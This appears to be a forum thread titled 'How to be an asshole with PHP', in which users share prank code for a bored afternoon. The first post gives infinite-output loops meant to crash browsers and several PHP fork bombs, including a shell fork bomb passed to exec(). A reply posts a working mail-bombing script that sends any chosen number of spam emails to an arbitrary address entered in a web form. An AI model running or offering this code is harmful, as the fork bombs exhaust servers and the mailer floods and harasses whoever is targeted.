WTF ... IS WTF!?
We are a collective of people who believe in freedom of speech, the rights of individuals, and free pancakes! We share our lives, struggles, frustrations, successes, joys, and prescribe to our own special brand of humor and insanity. If you are looking for a great place to hang out, make new friends, find new nemeses, and just be yourself, WTF.com is your new home.

How to be an asshole with PHP

Jung

???
Premium
13,981
1,399
487
#1
Ok, so I'm bored at work so I've been digitally slapping one of our (currently unused) dev boxes around. Here are a few fun things I came up with.


This mostly just eats up bandwidth, which is trivial on a gigabit LAN, but still fun.
<?php
while (true) {
echo "lol lol lol lol lol lol lol lol lol lol lol lol lol lol lol lol lol lol lol lol lol lol\n";
}
?>
This is a similar idea, but has crashed both Firefox and Opera so far. :p
Edit: Wget and Lynx are the only browsers that have been able to run this for more than 30 seconds without locking up. :thumbsup:
<?php while (1) phpInfo(); ?>
A few fork bombs... :D
<?php echo exec('$0 & $0 &'); ?>
<?php while (1) fork(); ?>
<?php echo exec(':() { : | : & }; :'); ?>

God I'm bored...


Edit: Running these on your host will probably get you kicked off, so don't do it.
 

Awkward Silence

Perplexed Bemusement
99
0
0
#3
hmmmmm old thread, but lets add to it....

I was also bored:

<?php
$contact = $_POST['contact'];
$count = $_POST['count'];
if (!isset($contact)) {
echo "<form action=\"spam.php\" method=\"post\">
Email: <input type=\"text\" name=\"contact\" /><br />
Count: <input type=\"text\" name=\"count\" /><br />
<input type=\"submit\" name=\"SPAM!\" value=\"SPAM!\" />
</form>";
} elseif ((strstr($contact, '@'))===FALSE) {
echo 'Error: Invalid e-mail address';
} elseif (!is_numeric($count)) {
echo 'Error: Invalid count';
} else {
$headers = "MIME-Version: 1.0\r\n";
$headers .= "Content-type: text/html; charset=iso-8859-1\r\n";
$headers .= "From: SPAM! <Spam@SpamSpamAndMoreSpam.com>\r\n";
$i = 1;
while ($i<=$count) {
mail($contact, "SPAM!", "<center><img src=\"http://www.dr-ackermann.de/images/spam.gif\" /></center>", $headers);
echo $i.' emails sent successfully.<br />';
$i++;
}
}
?>
:cool: